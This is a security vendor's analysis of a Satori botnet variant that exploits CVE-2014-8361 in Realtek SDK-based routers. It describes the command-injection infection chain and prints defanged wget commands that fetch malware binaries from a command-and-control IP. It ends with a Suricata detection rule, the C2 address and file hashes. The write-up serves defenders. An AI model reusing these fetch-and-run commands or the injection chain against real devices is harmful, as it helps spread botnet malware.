Analysis of Active Satori Botnet Infections
The Satori Botnet, a successor of Mirai, has continuously infected vulnerable devices since its launch late last year. There has recently been a flurry of of activity around this botnet: the botnet author was potentially identified, some C2 Infrastructure was taken down, and variants began attacking Ethereum Mining Rigs. The activity described in this post is focused on a Satori variant which uses a number of different infection methods, including exploitation of CVE-2014-8361, to spread. Interestingly, this variant chooses targets and operates at a pace that suggests it may be attempting to avoid detection. Our telemetry on these attacks also indicates a particular focus on infecting devices in China.
February 2018 Attacks
Following reports of Satori related attacks targeting ethereum mining hosts, we observed samples showing the attacker(s) attempting to exploit CVE-2014-8361 in Realtek SDK-based devices. For context on and comparison to other variants, I recommend reading “IoT Malware Evolves to Harvest Bots by Exploiting a Zero-day Home Router Vulnerability" from our colleagues at Palo Alto Networks Unit 42.
CVE-2014-8361 Infection Process
The process begins with an inbound HTTP POST request to port 52869. The command injection vulnerability (CVE-2014-8361) is used to perform multiple actions using SOAP. First, the working directory is changed to /var
. Next, wget
is used to download the file “b” from a remote host and save it under the name “s.”. Lastly, the file is executed with “sh s”.
Figure 1: HTTP POST Request executing CVE-2014-8361
Taking a look at the “b” file allows us to make more sense of the attack process and begin linking it to Satori. As previously mentioned, the file is a shell script. The script first defines a handful of variables, including a list of names (line 3), a download server (line 4), a string called run (line 5), and various directory paths (line 6).
Next the script will run through two loops in order to clean up temporary files (lines 8-11), and then begin downloading and executing the primary malware (lines 12-20). First it will write busybox’s shell to $run
and truncate it (line 15/16). Next it will change permissions for $run
(line 17). At this point the loop writes the wget
results to $run
and then executes it again (lines 18/19). The wget
request is modified at each loop with a new selection from the names list. Our working theory is that the odd behavior in this for loop (lines 13-20) is for working around potential permission issues on various victim devices.
Figure 2: Malware download and execution script
In the above sample script, the wget requests are as follows:
wget hXXp://185.62.188.88/mips.satori
wget hXXp://185.62.188.88/mipsel.satori
wget hXXp://185.62.188.88/arm7.satori
wget hXXp://185.62.188.88/arm.satori
wget hXXp://185.62.188.88/arm4.satori
(excluding brackets)
At this point, the device is infected by Satori and will begin performing the variant’s defined activities, such as continuing to scan and spread outbound or a variety of variant specific actions.
Detection and Indicators
If you would like to automate the intake of these detections, please see our GitHub Detections repository.
Suricata IDS signature:
One of the wider rules from a previous post can be used to detect this inbound RCE attempt:
- alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Generic Webshell Request - POST with wget in body"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; threshold:type limit, track by_src, seconds 3600, count 1; classtype:web-application-attack; sid:600052; rev:1;)
Note: This rule is already under SID 2024930 in the ETOpen Ruleset from the previous post.
C2:
- 185.62.188[.]88
MD5 File Hashes:
- 37ecaa468199aa4e889f667dbf4443c4 - mips.satori
- 09719d82730f3f8ce12ccbd75dd93845 - mipsel.satori
- 9fc1370640c0089702e9af9114754ad4 - arm7.satori
- D7e12cace51941af2fdc7acb4891d3c2 - arm.satori
- Af70854a74aed2fe28dc81b2549ca679 - arm64.satori